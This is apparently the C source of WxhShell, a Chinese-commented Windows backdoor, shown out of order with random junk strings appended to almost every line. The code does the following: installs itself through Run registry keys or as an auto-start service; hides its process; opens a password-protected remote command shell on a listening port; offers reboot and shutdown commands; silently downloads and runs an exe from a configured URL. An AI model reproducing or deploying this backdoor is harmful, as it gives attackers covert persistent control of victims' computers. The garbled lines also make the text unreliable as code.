} PROCESS_BASIC_INFORMATION; O[(?.9
RF4$
PROCNTQSIP NtQueryInformationProcess; \U!@OX.R'M
Ac[|MBaF
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S"P9Nf?9
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;;YcuzQI3
oF;%^XFp
HANDLE hProcess; NDRW
PROCESS_BASIC_INFORMATION pbi; XatA8(_,5
Cgz&@@j,]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z\|u9DO
if(NULL == hInst ) return 0; h
eE'S/
WjY{rM,K
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vr{'FMc
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5>ADw3z'
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0Oc}rRH(C
>lraYMc<rZ
if (!NtQueryInformationProcess) return 0; :T7?
X`fhln9N
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dNUR)X#e
if(!hProcess) return 0; jcEs10y
f`hyYp`d5
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &0+x2e)7g
YgfSC}a
CloseHandle(hProcess); ~*7O(8
Jt2,LL:G
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /lLov.
if(hProcess==NULL) return 0; %XJQ0CE<(
w.J%qWJq
HMODULE hMod; G Sz @rDGY
char procName[255]; k-WHHoU>o
unsigned long cbNeeded; Qj
6gg
NqJ<!q)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3z,v#2
X~v4"|a
CloseHandle(hProcess); 5c:'>
IjG5X[@
if(strstr(procName,"services")) return 1; // 以服务启动 /~i.\^HX
Gr5`1`8|
return 0; // 注册表启动 ~@T+mHny
} X0y?<G1(a
[3j$ 4rP
// 主模块 [8F
\;
int StartWxhshell(LPSTR lpCmdLine) LkJ$aW/
{ T&1-eq>l
SOCKET wsl; {q&@nm40
BOOL val=TRUE; @J-plJ4e
int port=0; ug^om{e-
struct sockaddr_in door; N9i}p^F<_
5%<TF.;-J
if(wscfg.ws_autoins) Install(); 7$(_j<o`
29"mE;j
port=atoi(lpCmdLine); EHpu*P~W
YXF#c)#
if(port<=0) port=wscfg.ws_port; =
:Po%Z%{
XnBm`vk?V!
WSADATA data; O6y @G
.+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~TYbP
C
_8j:Z&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2Sge
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pO"m~ mpA
door.sin_family = AF_INET; R{*_1cyW
door.sin_addr.s_addr = inet_addr("127.0.0.1"); p{NPcT%&
door.sin_port = htons(port); ^DBD63N"
L~*u4
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fd4;mc1T
closesocket(wsl); @&?a]>L
return 1; W|;nJs:e
} C@%iQ]=
jEUx
q%BH
if(listen(wsl,2) == INVALID_SOCKET) { B-!guf
rnY
closesocket(wsl); 8NnhT E
return 1; z>6.[Z(T
} c
Qld$
Wxhshell(wsl); u\`/Nhn
WSACleanup(); ~6p5H}'H1
6|QTS|!
return 0; !q!"UMiG
,#
]+HS^B
} $zdd=.!KiK
T`uDlo
// 以NT服务方式启动 X$/E>I
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j*XjY[
{ I?^aCnU
DWORD status = 0; &a.']!$^"
DWORD specificError = 0xfffffff; M9gOoYf,~
y)P&]&"?
serviceStatus.dwServiceType = SERVICE_WIN32; c8T/4hU
MN
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Truc[A.2Z
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +|6`E3j%
serviceStatus.dwWin32ExitCode = 0; O{~KR/
serviceStatus.dwServiceSpecificExitCode = 0; Fav?,Q,n
serviceStatus.dwCheckPoint = 0; {Jrf/p9w
serviceStatus.dwWaitHint = 0; JlUb0{8PE
vyE{WkZxR
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5\WUoSgy
if (hServiceStatusHandle==0) return; WhH!U0
N8VVGPa
status = GetLastError(); hje! w`
if (status!=NO_ERROR) /w0sj`;"
{ a_Jb>}
serviceStatus.dwCurrentState = SERVICE_STOPPED; nh<Z1tMU
serviceStatus.dwCheckPoint = 0; 22z1g(;@
serviceStatus.dwWaitHint = 0; DacN{r"3
serviceStatus.dwWin32ExitCode = status; >E,Q
serviceStatus.dwServiceSpecificExitCode = specificError; yX`#s]M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n[|6khOL-
return; w^ 3|(F
} ?b56AE
p+$+MeBz
serviceStatus.dwCurrentState = SERVICE_RUNNING; &Y+e=1a+
serviceStatus.dwCheckPoint = 0; QCWf.@n
serviceStatus.dwWaitHint = 0; 7SaiS_{:
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
*,17x`1e
} t ^m~
>Co)2d]
// 处理NT服务事件,比如:启动、停止 "CMucK
VOID WINAPI NTServiceHandler(DWORD fdwControl) c+8V|'4
{ _C20 +PMO
switch(fdwControl) syRN4
{ iA9 E^
case SERVICE_CONTROL_STOP: 88+
=F
XG
serviceStatus.dwWin32ExitCode = 0; ;=a_B1"9u
serviceStatus.dwCurrentState = SERVICE_STOPPED; uxb:^d?D!
serviceStatus.dwCheckPoint = 0; :5jexz."M
serviceStatus.dwWaitHint = 0; B X*69
{ `kFiH*5 %z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); r_^)1w
} Tpb"uBiXoo
return; E~qQai=]
case SERVICE_CONTROL_PAUSE: 4^[
/=J}
serviceStatus.dwCurrentState = SERVICE_PAUSED; +pz}4M`
break; *jE;9^
case SERVICE_CONTROL_CONTINUE: h48YDWwy
serviceStatus.dwCurrentState = SERVICE_RUNNING; [X<Pk
break; ;g+]klR!
case SERVICE_CONTROL_INTERROGATE: wN(&5rfS
break; J'e]x[Y
}; Z|I-BPyn
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _%B/!)v
} GWdSSr>
pM9yOY
// 标准应用程序主函数 2e59Ez%k6
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^&Q<tN7
{ E=]]b;u-n
et` 0Je
// 获取操作系统版本 QD$Gw-U-l=
OsIsNt=GetOsVer(); )S*1C@
GetModuleFileName(NULL,ExeFile,MAX_PATH); <: :VCA %
$Asr`Q1i
// 从命令行安装 g5Hr7Km
if(strpbrk(lpCmdLine,"iI")) Install(); /OG zt
'#q4Bc1
// 下载执行文件 dxCPV6 XI
if(wscfg.ws_downexe) { Zj!Abji=O
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2 x32U
MD
WinExec(wscfg.ws_filenam,SW_HIDE); e>AXXUEf
} |@wyC0k!
@^&7$#jq%
if(!OsIsNt) { mlB~V3M'G
// 如果时win9x,隐藏进程并且设置为注册表启动 moZm0`WR
HideProc(); KP{3iUqvO
StartWxhshell(lpCmdLine); y3JMbl[S0
} Ac`;st%l.
else T<yb#ak
if(StartFromService()) KmmQ ,e%
// 以服务方式启动 2khh4?|\
StartServiceCtrlDispatcher(DispatchTable); e;h,V(
else RV;!05^<
// 普通方式启动 0[Eb .2I
StartWxhshell(lpCmdLine); ykmv'a$-4
v@n_F
return 0; E
oe}l
} t,HFz6
! %Ny0JkO
?aWx(dVQ
:o8MUXH$
=========================================== hqDqt"dKz
9:8|)a(1
EI1?
GB)b
o\!qcoE2W
fd 1C{^c
y}"7e)|t%
" /pykW_`/-
y
vI<4F
#include <stdio.h> "@yyXS
r
#include <string.h> X{Zm9T
#include <windows.h> B(,:h aAr
#include <winsock2.h> :mZYS4L~
#include <winsvc.h> `]<`$71w
#include <urlmon.h> Fe!9y2Mg
fzPZ|
#pragma comment (lib, "Ws2_32.lib") |]sx+NlNc
#pragma comment (lib, "urlmon.lib") {dzoEM[
1s
Cy@ cLdV
#define MAX_USER 100 // 最大客户端连接数 L'E^c,-x~
#define BUF_SOCK 200 // sock buffer fYX<d%?7
#define KEY_BUFF 255 // 输入 buffer eV2mMSY
=w%O a<
#define REBOOT 0 // 重启 ej^3YNh&
#define SHUTDOWN 1 // 关机 efOjTA%
eB]R3j{
#define DEF_PORT 5000 // 监听端口
rLv;Y
Ia4)uV8
#define REG_LEN 16 // 注册表键长度 `hUHel;6
#define SVC_LEN 80 // NT服务名长度 r\qz5G *6
/.Q4~Hw%}
// 从dll定义API iqPBsIW
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *y]+dK&-
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K{=PQ XSU
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "pvH0"Q*
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #g9ZX16}
|He=LQ}0
// wxhshell配置信息 "rNL
`P7
struct WSCFG { SSA W52xC
int ws_port; // 监听端口 C5X(U:
char ws_passstr[REG_LEN]; // 口令 /nQ`&q
int ws_autoins; // 安装标记, 1=yes 0=no s([dGD$i
char ws_regname[REG_LEN]; // 注册表键名 {y-^~Q"z
char ws_svcname[REG_LEN]; // 服务名 rRb+_]Lg
char ws_svcdisp[SVC_LEN]; // 服务显示名 eUBrzoCO
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~ ?^/u8
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 | C+o;
int ws_downexe; // 下载执行标记, 1=yes 0=no VR0=SE
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1cC1*c0Z
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c0rk<V%5+
m9":{JI.w
}; Im?LIgt$
'EhBRU%
// default Wxhshell configuration 7~UR!T9
struct WSCFG wscfg={DEF_PORT, 'i|rjW(
"xuhuanlingzhe", eV};9VJ$F
1, .*5 Z"Q['G
"Wxhshell", >)**khuP7
"Wxhshell", ELD!{bMT
"WxhShell Service", JAjku6
"Wrsky Windows CmdShell Service", \ |!\V
"Please Input Your Password: ", K$[$4 dX]
1, 'Jj=RAV`
"http://www.wrsky.com/wxhshell.exe", Q[u6|jRt
"Wxhshell.exe" >n*\ bXf
}; J/x2qQ$9
N4!<Xj
// 消息定义模块 [f{VIE*?%
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4. qtp`
char *msg_ws_prompt="\n\r? for help\n\r#>"; i$^ZTb^
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k%81f'H
char *msg_ws_ext="\n\rExit."; '7)"
char *msg_ws_end="\n\rQuit."; mUP. rb6
char *msg_ws_boot="\n\rReboot..."; )"<8K}%!
char *msg_ws_poff="\n\rShutdown..."; :d,^I@]
char *msg_ws_down="\n\rSave to "; ajH"Jy3A
N#z~
char *msg_ws_err="\n\rErr!"; cP>o+-)
char *msg_ws_ok="\n\rOK!"; m$2<`C=
q1{H~VSn"
char ExeFile[MAX_PATH]; .*/Fucr
int nUser = 0; nk=$B(h
HANDLE handles[MAX_USER]; \2e0|)aF6
int OsIsNt; zGlZ!t:
L}k/9F.5
SERVICE_STATUS serviceStatus; K_&MoyJJ9f
SERVICE_STATUS_HANDLE hServiceStatusHandle; 9S7A!AKE
h2q/mi5{
// 函数声明 qUJ
aeQ
int Install(void); p( LZ)7/
int Uninstall(void); aX6}6zubr
int DownloadFile(char *sURL, SOCKET wsh); KY9n2u&4
int Boot(int flag); =:I+6PlF@
void HideProc(void); , H
kj1x
int GetOsVer(void);
zj{s}*
int Wxhshell(SOCKET wsl); ]0j9>s2|Z
void TalkWithClient(void *cs); Z;DCI-Wg
int CmdShell(SOCKET sock); dJk9@u
int StartFromService(void); ,!QV>=
int StartWxhshell(LPSTR lpCmdLine); ;0%OB*lcgE
LlYTv%I
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2I'~2o
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gzn^#3 b
a2@c%i
// 数据结构和表定义 K7)kS
SERVICE_TABLE_ENTRY DispatchTable[] = k;^
:
{ \Y|*Nee}XP
{wscfg.ws_svcname, NTServiceMain}, P:xT0gtt
{NULL, NULL} hpbf&S4
}; PAF8Wlg
9$*s8}|
// 自我安装 7<\C?`q"
int Install(void) "&+3#D
>
{ 5FeFN)
char svExeFile[MAX_PATH]; @'2m$a
HKEY key; +0$/y]k
strcpy(svExeFile,ExeFile); r%]Qlt~K
Jh/ E@}'
// 如果是win9x系统,修改注册表设为自启动 ^s :y/Kd
if(!OsIsNt) { O6s.<`\
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }j{!-&
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $)~
RegCloseKey(key); I/J7rkf
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sy5 Fn~\R
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?}P5p^6
RegCloseKey(key); ^"8wUsP
return 0; Hf gz02Z$
} b7:0#l$
} 7Ke&0eAw
} %eWqQ3{P]
else { }Fb!?['G5
4"?^UBr
// 如果是NT以上系统,安装为系统服务 SX0_v_%M
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L@Nu/(pB=
if (schSCManager!=0) LRb,VD:/Y
{ 4_?7&G0(
SC_HANDLE schService = CreateService $%k1fa C
( $4=f+ "z
schSCManager, RVw9Y*]b
wscfg.ws_svcname, clO,}Ph>
wscfg.ws_svcdisp, k+ o|0
SERVICE_ALL_ACCESS, 7 A$B{
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vb{i
SERVICE_AUTO_START, 30j|D3-
SERVICE_ERROR_NORMAL, ?=Pd
svExeFile, vw>j J
NULL, n$L51#'
NULL, @ EuFJ=h
NULL, !0VfbY9C
NULL, f:JlZ&
NULL D@ek9ARAq
); KFRw67^
if (schService!=0) (]2H7X:b
{ PXKJ^fa
CloseServiceHandle(schService); <cN~jv-w$
CloseServiceHandle(schSCManager); m:QG}{<.h
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B^ 7eo W
strcat(svExeFile,wscfg.ws_svcname); r),PtI0X
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sN=6 gCau
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jH;Du2w
RegCloseKey(key); )(M7lq.e7
return 0; &]6)LFm
} gxNL_(A
} <=K qcHb
CloseServiceHandle(schSCManager); 6 ,ANNj
} _u0$,Y?&